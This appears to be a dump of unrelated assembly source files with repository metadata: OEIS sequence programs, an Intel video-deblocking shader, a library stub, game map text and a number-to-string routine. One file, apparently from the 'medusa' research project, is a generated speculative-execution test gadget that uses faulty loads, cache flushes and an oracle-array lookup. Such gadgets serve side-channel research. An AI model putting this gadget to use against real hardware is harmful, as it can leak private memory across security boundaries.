38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38
*/
| 34.025974 | 2,999 | 0.657634 |
ec5b40aa9b670dbd6f78b33ddd63a34b7a68f033 | 1,781 | asm | Assembly | programs/oeis/171/A171501.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/171/A171501.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/171/A171501.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A171501: Inverse binomial transform of A084640.
; 0,1,3,-1,7,-9,23,-41,87,-169,343,-681,1367,-2729,5463,-10921,21847,-43689,87383,-174761,349527,-699049,1398103,-2796201,5592407,-11184809,22369623,-44739241,89478487,-178956969,357913943,-715827881,1431655767,-2863311529,5726623063,-11453246121,22906492247,-45812984489,91625968983,-183251937961,366503875927,-733007751849,1466015503703,-2932031007401,5864062014807,-11728124029609,23456248059223,-46912496118441,93824992236887,-187649984473769,375299968947543,-750599937895081,1501199875790167,-3002399751580329,6004799503160663,-12009599006321321,24019198012642647,-48038396025285289,96076792050570583,-192153584101141161,384307168202282327,-768614336404564649,1537228672809129303,-3074457345618258601,6148914691236517207,-12297829382473034409,24595658764946068823,-49191317529892137641,98382635059784275287,-196765270119568550569,393530540239137101143,-787061080478274202281,1574122160956548404567,-3148244321913096809129,6296488643826193618263,-12592977287652387236521,25185954575304774473047,-50371909150609548946089,100743818301219097892183,-201487636602438195784361,402975273204876391568727,-805950546409752783137449,1611901092819505566274903,-3223802185639011132549801,6447604371278022265099607,-12895208742556044530199209,25790417485112089060398423,-51580834970224178120796841,103161669940448356241593687,-206323339880896712483187369,412646679761793424966374743,-825293359523586849932749481,1650586719047173699865498967,-3301173438094347399730997929,6602346876188694799461995863,-13204693752377389598923991721,26409387504754779197847983447,-52818775009509558395695966889,105637550019019116791391933783,-211275100038038233582783867561
lpb $0
mov $2,$0
mov $0,0
seq $2,140966 ; a(n) = (5 + (-2)^n)/3.
lpe
mov $0,$2
| 178.1 | 1,644 | 0.88265 |
422753851982ebda9400d3b67b24a19709c31bc1 | 791 | asm | Assembly | programs/oeis/111/A111955.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/111/A111955.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/111/A111955.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A111955: a(n) = A078343(n) + (-1)^n.
; 0,1,4,7,20,45,112,267,648,1561,3772,9103,21980,53061,128104,309267,746640,1802545,4351732,10506007,25363748,61233501,147830752,356895003,861620760,2080136521,5021893804,12123924127,29269742060,70663408245
mov $5,2
mov $10,$0
lpb $5
mov $0,$10
sub $5,1
add $0,$5
sub $0,1
mov $6,$0
mov $7,0
mov $8,2
lpb $8
mov $0,$6
mov $3,0
sub $8,1
add $0,$8
sub $0,1
lpb $0
mov $2,$0
trn $0,2
max $2,0
seq $2,174192 ; Expansion of (1-x+2x^2)/ ((1-x)*(1-2x-x^2)).
add $3,$2
sub $3,1
lpe
mov $9,$8
mul $9,$3
add $7,$9
mov $11,$3
lpe
mov $4,$5
min $6,1
mul $6,$11
mov $11,$7
sub $11,$6
mul $4,$11
add $1,$4
lpe
min $10,1
mul $10,$11
sub $1,$10
mov $0,$1
| 17.577778 | 206 | 0.542351 |
8d68d3578eba79123aaadaaf41af79bffdce5001 | 7,128 | asm | Assembly | Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca.log_21829_874.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca.log_21829_874.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca.log_21829_874.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r12
push %rax
push %rbp
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_WT_ht+0x80c9, %rsi
nop
nop
sub %rbp, %rbp
movups (%rsi), %xmm3
vpextrq $1, %xmm3, %rax
nop
nop
add $4845, %rdx
lea addresses_A_ht+0x48fd, %rcx
nop
inc %r11
mov $0x6162636465666768, %r12
movq %r12, %xmm4
movups %xmm4, (%rcx)
nop
nop
nop
nop
nop
xor $12306, %rdx
lea addresses_UC_ht+0x1e23d, %rsi
lea addresses_D_ht+0x1227d, %rdi
xor $4737, %r11
mov $17, %rcx
rep movsb
nop
xor $46235, %rdi
lea addresses_normal_ht+0x93d, %rsi
nop
nop
nop
nop
cmp %r11, %r11
mov $0x6162636465666768, %r12
movq %r12, (%rsi)
xor $42436, %rsi
lea addresses_D_ht+0x593d, %rax
and $22860, %rcx
movb $0x61, (%rax)
dec %r11
lea addresses_D_ht+0x99bd, %rsi
lea addresses_normal_ht+0xbc7d, %rdi
clflush (%rsi)
nop
nop
nop
nop
add %r11, %r11
mov $53, %rcx
rep movsl
nop
nop
xor %r11, %r11
lea addresses_D_ht+0x18f3d, %r12
nop
nop
xor %r11, %r11
movw $0x6162, (%r12)
xor $47509, %rdi
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbp
pop %rax
pop %r12
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r12
push %r14
push %r8
push %rcx
push %rdi
push %rdx
// Load
lea addresses_D+0xe93d, %r11
nop
nop
nop
nop
dec %r8
mov (%r11), %r12d
// Exception!!!
mov (0), %r12
nop
add $25333, %rdi
// Store
lea addresses_WC+0x873d, %rdi
nop
nop
add $22584, %r12
movl $0x51525354, (%rdi)
nop
nop
nop
nop
cmp %r11, %r11
// Store
mov $0x31f, %rdi
nop
nop
nop
nop
add $6914, %rcx
movw $0x5152, (%rdi)
// Exception!!!
nop
nop
nop
mov (0), %r14
nop
nop
nop
nop
nop
and %rdi, %rdi
// Load
mov $0x13d, %rdi
and %r12, %r12
mov (%rdi), %dx
nop
nop
nop
nop
sub %r8, %r8
// Store
lea addresses_RW+0x11dad, %rdi
add %r11, %r11
mov $0x5152535455565758, %rdx
movq %rdx, %xmm1
vmovntdq %ymm1, (%rdi)
nop
nop
nop
sub %r12, %r12
// Store
lea addresses_RW+0x1718d, %r11
nop
nop
nop
and $61284, %r8
movb $0x51, (%r11)
nop
sub %r14, %r14
// Faulty Load
lea addresses_D+0xe93d, %r11
and %r8, %r8
mov (%r11), %rdi
lea oracles, %r14
and $0xff, %rdi
shlq $12, %rdi
mov (%r14,%rdi,1), %rdi
pop %rdx
pop %rdi
pop %rcx
pop %r8
pop %r14
pop %r12
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'src': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 4, 'NT': False, 'type': 'addresses_D'}, 'OP': 'LOAD'}
{'src': {'congruent': 0, 'AVXalign': False, 'same': True, 'size': 4, 'NT': False, 'type': 'addresses_D'}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'congruent': 9, 'AVXalign': False, 'same': False, 'size': 4, 'NT': False, 'type': 'addresses_WC'}}
{'OP': 'STOR', 'dst': {'congruent': 1, 'AVXalign': False, 'same': False, 'size': 2, 'NT': False, 'type': 'addresses_P'}}
{'src': {'congruent': 9, 'AVXalign': False, 'same': False, 'size': 2, 'NT': False, 'type': 'addresses_P'}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'congruent': 4, 'AVXalign': False, 'same': False, 'size': 32, 'NT': True, 'type': 'addresses_RW'}}
{'OP': 'STOR', 'dst': {'congruent': 3, 'AVXalign': False, 'same': False, 'size': 1, 'NT': False, 'type': 'addresses_RW'}}
[Faulty Load]
{'src': {'congruent': 0, 'AVXalign': False, 'same': True, 'size': 8, 'NT': False, 'type': 'addresses_D'}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'congruent': 2, 'AVXalign': False, 'same': False, 'size': 16, 'NT': False, 'type': 'addresses_WT_ht'}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'congruent': 6, 'AVXalign': False, 'same': False, 'size': 16, 'NT': False, 'type': 'addresses_A_ht'}}
{'src': {'congruent': 8, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'REPM', 'dst': {'congruent': 6, 'same': False, 'type': 'addresses_D_ht'}}
{'OP': 'STOR', 'dst': {'congruent': 9, 'AVXalign': False, 'same': False, 'size': 8, 'NT': False, 'type': 'addresses_normal_ht'}}
{'OP': 'STOR', 'dst': {'congruent': 9, 'AVXalign': False, 'same': False, 'size': 1, 'NT': False, 'type': 'addresses_D_ht'}}
{'src': {'congruent': 5, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'dst': {'congruent': 5, 'same': False, 'type': 'addresses_normal_ht'}}
{'OP': 'STOR', 'dst': {'congruent': 9, 'AVXalign': False, 'same': False, 'size': 2, 'NT': False, 'type': 'addresses_D_ht'}}
{'36': 21829}
36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36
*/
| 34.105263 | 2,999 | 0.64913 |
4c91a2934e557dec9b54cc075c91860a0df34ba7 | 2,286 | asm | Assembly | src/shaders/h264/ildb/Load_ILDB_Cntrl_Data_16DW.asm | tizenorg/platform.upstream.libva-intel-driver | 9ffc32731bacbfec2cef3d9fb5eb4c0c43952b90 | [
"MIT"
] | null | null | null | src/shaders/h264/ildb/Load_ILDB_Cntrl_Data_16DW.asm | tizenorg/platform.upstream.libva-intel-driver | 9ffc32731bacbfec2cef3d9fb5eb4c0c43952b90 | [
"MIT"
] | null | null | null | src/shaders/h264/ildb/Load_ILDB_Cntrl_Data_16DW.asm | tizenorg/platform.upstream.libva-intel-driver | 9ffc32731bacbfec2cef3d9fb5eb4c0c43952b90 | [
"MIT"
] | null | null | null | /*
* Copyright © <2010>, Intel Corporation.
*
* This program is licensed under the terms and conditions of the
* Eclipse Public License (EPL), version 1.0. The full text of the EPL is at
* http://www.opensource.org/licenses/eclipse-1.0.php.
*
*/
// Module name: load_ILDB_Cntrl_Data_16DW.asm
//
// This module loads AVC ILDB 64DW control data for one MB CTG.
// Dataport expands from 16DW to 64DW.
//
//----------------------------------------------------------------
// Symbols need to be defined before including this module
//
// Source region in :ud
// CNTRL_DATA_D: CNTRL_DATA_D Base=rxx ElementSize=4 SrcRegion=REGION(8,1) Type=ud // 8 GRFs
//
// Binding table index:
// BI_CNTRL_DATA: Binding table index of control data surface
//
//----------------------------------------------------------------
// On CTG, MB control data in memory occupy 16 DWs. Data port returns 8 GRFs with expanded control data.
#if defined(_MBAFF)
// We need to get control data offset for the bottom MB in mbaff mode.
// That is, get f0.1=1 if MbaffFlag==1 && BotFieldFlag==1
// and (1) CTemp1_W:uw BitFields:uw MbaffFlag+BotFieldFlag:uw // Mute all other bits
// cmp.e.f0.1 (1) NULLREGW CTemp1_W:uw MbaffFlag+BotFieldFlag:uw // Check mbaff and bot flags
and.ne.f0.1 (1) NULLREGW BitFields:uw BotFieldFlag:uw
// Global offset
mov (1) MSGSRC.2:ud CntrlDataOffsetY:ud
(f0.1) add (1) MSGSRC.2:ud MSGSRC.2:ud 64:w // +64 to the next MB control data (bot MB)
#endif
send (8) CNTRL_DATA_D(0)<1> MSGHDRY MSGSRC<8;8,1>:ud DAPREAD RESP_LEN(8)+ILDBRMSGDSC+BI_CNTRL_DATA // Receive 8 GRFs
// End of load_ILDB_Cntrl_Data_16DW.asm
// AVC ILDB control data message header format
//DWord Bit Description
//M0.7 31:0 Debug
//M0.6 31:0 Debug
//M0.5 31:8 Ignored
// 7:0 Dispatch ID. // This ID is assigned by the fixed function unit and is a unique identifier for the thread. It is used to free up resources used by the thread upon thread completion.
//M0.4 31:0 Ignored
//M0.3 31:0 Ignored
//M0.2 31:0 Global Offset. Specifies the global byte offset into the buffer.
// This offset must be OWord aligned (bits 3:0 MBZ) Format = U32 Range = [0,FFFFFFF0h]
//M0.1 31:0 Ignored
//M0.0 31:0 Ignored
| 36.285714 | 191 | 0.650919 |
ea61a5d2933a06fdbce563b558e21d7b05ebc039 | 106 | asm | Assembly | libsrc/_DEVELOPMENT/math/float/math48/lm/c/sdcc_iy/llround.asm | meesokim/z88dk | 5763c7778f19a71d936b3200374059d267066bb2 | [
"ClArtistic"
] | null | null | null | libsrc/_DEVELOPMENT/math/float/math48/lm/c/sdcc_iy/llround.asm | meesokim/z88dk | 5763c7778f19a71d936b3200374059d267066bb2 | [
"ClArtistic"
] | null | null | null | libsrc/_DEVELOPMENT/math/float/math48/lm/c/sdcc_iy/llround.asm | meesokim/z88dk | 5763c7778f19a71d936b3200374059d267066bb2 | [
"ClArtistic"
] | null | null | null |
SECTION code_fp_math48
PUBLIC _llround
EXTERN cm48_sdcciy_llround
defc _llround = cm48_sdcciy_llround
| 11.777778 | 35 | 0.858491 |
33c4eb0ffe527657ab791c32947e9c2fc5398125 | 1,417 | asm | Assembly | programs/oeis/036/A036219.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/036/A036219.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/036/A036219.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A036219: Expansion of 1/(1-3*x)^6; 6-fold convolution of A000244 (powers of 3).
; 1,18,189,1512,10206,61236,336798,1732104,8444007,39405366,177324147,773778096,3288556908,13660159464,55616363532,222465454128,875957725629,3400777052442,13036312034361,49400761393368,185252855225130,688082033693340,2533392942234570,9252391615117560,33539919604801155,120743710577284158,431890964757208719,1535612319136742112,5429486414090623896,19096814284042884048,66838849994150094168,232857929011877747424,807725941259950936377,2790325978898012325666,9602004103854924767733,32921156927502599203656,112480619502300547279158,383042109656482944788484,1300327161728586838887222,4401107316619832377772136,14853737193591934274980959,49995505675992364145057862,167842054769402936772694251,562075718297535416169022608,1877843877039493322201052804,6259479590131644407336842680,20819573419350904224402976740,69103264966356192744826901520,228904565201054888467239111285,756786521685120243503933388330,2497395521560896803562980181489,8226714659259424764678052362552,27053234744872339129998979884546,88816280105807302049430613205868,291120029235701712273133676619234,952756459316841967439346578026584,3113472000981822857882150424622587,10159750740045948273089122438242126,33106773963253176269204209324616583,107737298321095082096393359158074304,350146219543559016813278417263741488
mov $1,-3
pow $1,$0
mov $2,-6
bin $2,$0
mul $1,$2
mov $0,$1
| 141.7 | 1,273 | 0.91602 |
8faefd3fb4e665762bafd10846b5b296db8741e6 | 523 | asm | Assembly | text/maps/hall_of_fame.asm | adhi-thirumala/EvoYellow | 6fb1b1d6a1fa84b02e2d982f270887f6c63cdf4c | [
"Unlicense"
] | 16 | 2018-08-28T21:47:01.000Z | 2022-02-20T20:29:59.000Z | text/maps/hall_of_fame.asm | adhi-thirumala/EvoYellow | 6fb1b1d6a1fa84b02e2d982f270887f6c63cdf4c | [
"Unlicense"
] | 5 | 2019-04-03T19:53:11.000Z | 2022-03-11T22:49:34.000Z | text/maps/hall_of_fame.asm | adhi-thirumala/EvoYellow | 6fb1b1d6a1fa84b02e2d982f270887f6c63cdf4c | [
"Unlicense"
] | 2 | 2019-12-09T19:46:02.000Z | 2020-12-05T21:36:30.000Z | _HallofFameRoomText1::
text "OAK: Er-hem!"
line "Congratulations,"
cont "<PLAYER>!"
para "This floor is the"
line "#MON HALL OF"
cont "FAME!"
para "#MON LEAGUE"
line "champions are"
cont "honored for their"
cont "exploits here!"
para "Their #MON are"
line "also recorded in"
cont "the HALL OF FAME!"
para "<PLAYER>! You have"
line "endeavored hard"
cont "to become the new"
cont "LEAGUE champion!"
para "Congratulations,"
line "<PLAYER>, you and"
cont "your #MON are"
cont "HALL OF FAMERs!"
done
| 18.034483 | 26 | 0.676864 |
72b9962c52ec334d93010696857491b7835ab54a | 3,747 | asm | Assembly | D2Str.asm | qynvi/laserturret | ca93024826c6ea4b5efecf7d2f353f3214d1a78d | [
"MIT"
] | null | null | null | D2Str.asm | qynvi/laserturret | ca93024826c6ea4b5efecf7d2f353f3214d1a78d | [
"MIT"
] | null | null | null | D2Str.asm | qynvi/laserturret | ca93024826c6ea4b5efecf7d2f353f3214d1a78d | [
"MIT"
] | null | null | null | NAME DEC2STRING
CGROUP GROUP CODE
CODE SEGMENT PUBLIC 'CODE'
ASSUME CS:CGROUP
$INCLUDE(constant.inc)
; Numeric Conversion Functions
; Dec2String
;
; Description:
; This function accepts input as a 16-bit signed decimal value as �n�,
; then converts this input into a string storing six digits maximum plus
; sign. The output, a string, should contain the <null> terminated decimal
; representation of the input value in ASCII.
;
; Operation:
; Using decimal powers, the function iterates through each digit of the input.
; For each digit that is not a leading zero, it converts and writes that digit into
; string. Finally, it adds a null termination.
;
; Arguments:
; 'n' (AX) - 16 bit decimal to be converted.
; 'a' (SI) - Offset in SI to store the string result.
;
; Return Values: Offset in SI
;
; Local Variables:
; pwr10 - BP (we don't have to use 1000 like in the outline)
; loop counter - DI
; digit - AX
; boolean - BX (takes values of false or true)
; number - CX
; Shared Variables:
; Global Variables:
;
; Input:
; Output:
;
; Error Handling:
;
; Registers Changed: Flags, AX, BX, CX, DX, DI
; Stack Depth: 4 bytes
;
; Algorithms:
; Data Structures:
;
; Known Bugs:
; Limitations:
;
; Revision History:
; 05/01/09 William Fan
; Repackage for final release.
; 02/15/09 William Fan
; Added include file.
; Shortened comments.
; 01/31/09 William Fan
Dec2String PROC NEAR
PUBLIC Dec2String
PUSH SI ;SI stores start of the string
PUSH BP ;store BP - we'll need this to manipulate digits later
MOV BP, 10 ;pwr10 becomes BP
MOV CX, AX
MOV BX, FALSEWORD
CMP CX, 0 ;IF branch check to see if 'n' is negative
JGE LoopInit ;IF >= 0, go to the digit interation. (SF = OF)
;JL nNegative
nNegative:
MOV BYTE PTR [SI], '-' ;manually append "-" sign to string
INC SI ;move the string index to the next byte
NEG CX ;if negative, negate so can convert it anyways
;JMP LoopInit ;start iterating digits
LoopInit:
MOV DI, 10000 ;initialize pwr10 to look at first digit
;JMP DecIteration
DecIteration:
CMP DI, 0 ;confirm pwr10 is above 0.
JE Break ;if it is not, we are done iterating
;JMP MainLoop ;ELSE we need to keep iterating, using the loop
MainLoop:
MOV AX, CX ;number goes to both AX and CX (so we can divide)
MOV DX, 0
DIV DI ;pwr10 to divide number and isolate digits
MOV DX, 0
DIV BP ;store the remainder from DX to AX
MOV AX, DX ;current digit
CMP BX, TRUE ;check if we've written a number today
JE Write ;write the digit
CMP AX, 0
JE Update ;leading zeroes - move on to the next digit
;JNE Write ;ELSE, we attempt to write the digit
Write:
ADD AX, '0' ;convert the current digit to ASCII
MOV [SI], AX ;write the current digit to the string
MOV BX, TRUE
INC SI ;move the string index to the next byte
;JL Update ;update the digit counter
Update:
MOV AX, DI ;update iteration (pwr10) if digit down
MOV DX, 0
DIV BP
MOV DI, AX ;newly reduced pwr10 (iteration counter)
JMP DecIteration ;restart iteration from top
;JL Break ;otherwise, terminate the loop
Break:
CMP BX, TRUE ;confirm BX is nontrivial
JE Dec2Stringed
;JNE ZeroPadding ;if not, we need to pad zeroes
ZeroPadding:
MOV BYTE PTR [SI], '0' ;force write a zero
INC SI ;move the string index to the next character
Dec2Stringed:
MOV BYTE PTR [SI], NULL ;null termination of the output string
POP BP
POP SI ;string index returns to offset of start of string
RET
Dec2String ENDP
CODE ENDS
END
| 27.152174 | 84 | 0.662663 |
469fc159cc4025d7097e79555918828b1b184867 | 404 | asm | Assembly | oeis/052/A052904.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/052/A052904.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/052/A052904.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A052904: Expansion of (1-x)/(1-2x-4x^2+4x^3).
; Submitted by Christian Krause
; 1,1,6,12,44,112,352,976,2912,8320,24384,70400,205056,594176,1726976,5010432,14552064,42237952,122642432,356028416,1033674752,3000893440,8712372224,25293619200,73433153536,213191294976,618940727296
mov $1,1
lpb $0
sub $0,1
mov $2,$1
add $3,$1
add $1,$4
mul $2,4
add $2,$3
sub $2,$4
add $4,$2
lpe
mov $0,$1
| 23.764706 | 198 | 0.69802 |
